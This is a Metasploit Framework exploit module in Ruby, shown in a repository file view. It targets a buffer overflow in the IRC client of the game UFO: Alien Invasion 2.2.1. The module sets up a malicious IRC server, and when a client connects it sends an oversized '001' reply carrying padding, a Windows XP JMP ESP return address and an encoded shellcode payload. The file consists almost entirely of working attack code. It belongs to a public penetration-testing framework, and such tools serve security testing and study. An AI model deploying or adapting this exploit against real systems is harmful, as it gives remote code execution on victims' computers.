Files
metasploit-gs/modules/exploits/windows/misc/ufo_ai.rb
T
Michael Schierl 910644400d References EDB cleanup
All other types of references use String arguments, but approximately half
of the EDB references use Fixnums. Fix this by using Strings here too.
2012-10-23 21:02:09 +02:00

80 lines
1.8 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::TcpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'UFO: Alien Invasion IRC Client Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the IRC client component of
UFO: Alien Invasion 2.2.1.
},
'Author' =>
[
'Jason Geffner', # Original Windows PoC Author
'dookie' # MSF Module Author
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'OSVDB', '65689'],
[ 'EDB', '14013' ]
],
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x0a\x0d",
'MaxNops' => 0,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Universal', { 'Ret' => 0x0AE59A43 } ], # JMP ESP in SDL_ttf.dll
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 28 2009'))
register_options(
[
OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]),
], self.class)
end
def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
print_status("Got client connection...")
buffer = "001 :"
buffer << rand_text_alpha_upper(552)
buffer << [ target.ret ].pack('V')
buffer << make_nops(8)
buffer << payload.encoded
buffer << "\x0d\x0a"
print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
client.put(buffer)
end
end